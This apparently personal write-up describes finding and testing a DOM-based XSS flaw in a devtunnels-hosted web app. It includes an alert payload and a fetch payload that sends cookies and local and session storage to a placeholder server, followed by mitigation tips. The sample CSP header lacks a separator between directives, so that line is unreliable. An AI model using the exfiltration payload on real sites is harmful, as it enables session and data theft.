While exploring a devtunnel-based web application, I uncovered a subtle but dangerous vulnerability โ DOM-based Cross-Site Scripting (XSS). Unlike traditional XSS, this one doesn't rely on server responses. It lives entirely in the browser, silently hijacking the page's behavior. Here's how I discovered it, tested it, and captured proof.
๐ What Is DOM XSS?
DOM XSS occurs when client-side JavaScript takes untrusted input โ like from the URL fragment, query parameters, or local storage โ and injects it into the page without sanitization. This allows attackers to execute arbitrary scripts in the victim's browser.
Unlike reflected or stored XSS:
It doesn't show up in server logs.
It bypasses many traditional filters.
It's triggered entirely in the browser.
๐งช My Setup
Operating System: Kali Linux
Tools Used: XSStrike, Python, Selenium, Chromium
Target Page: A login and search endpoint hosted via devtunnels
๐ Step-by-Step Testing
1. Initial Scan with XSStrike
I ran XSStrike against the target URL. It flagged two suspicious DOM sinks:
document.cookie = โฆ
window.location.reload()These are classic indicators of DOM XSS potential.
2. Payload Injection via Fragment
I crafted a payload:
<script>alert('XSS')</script>Encoded it for safe injection:
%3Cscript%3Ealert('XSS')%3C%2Fscript%3EThen appended it to the URL fragment.
3. Automated Proof with Selenium
Using a Python script, I loaded the URL in a headless browser and captured a screenshot:
driver.save_screenshot("dom_xss_proof.png")โ The alert triggered. DOM XSS confirmed.
๐ฅ Advanced Payloads
To demonstrate real-world impact, I tested a fetch-based exfiltration payload:
<script>
fetch("https://your-server.com/log", {
method: "POST",
body: JSON.stringify({
cookies: document.cookie,
location: window.location.href,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage)
}),
headers: { "Content-Type": "application/json" }
});
</script>This silently sends browser data to a remote server โ no alert box needed.
๐ก Mitigation Tips
To prevent DOM XSS:
Avoid unsafe sinks like innerHTML, eval(), document.write()
Sanitize all dynamic inputs
Use strong Content-Security-Policy (CSP) headers:
Content-Security-Policy: default-src 'self' script-src 'self'
๐ธ Final Proof
A screenshot captured via Selenium showing the payload execution was saved as dom_xss_proof.png.
๐ง Conclusion
DOM XSS is stealthy, client-side, and often overlooked. But with the right tools and mindset, it's detectable โ and preventable. This test not only confirmed a vulnerability but also reinforced the importance of secure JavaScript practices and strong CSP headers.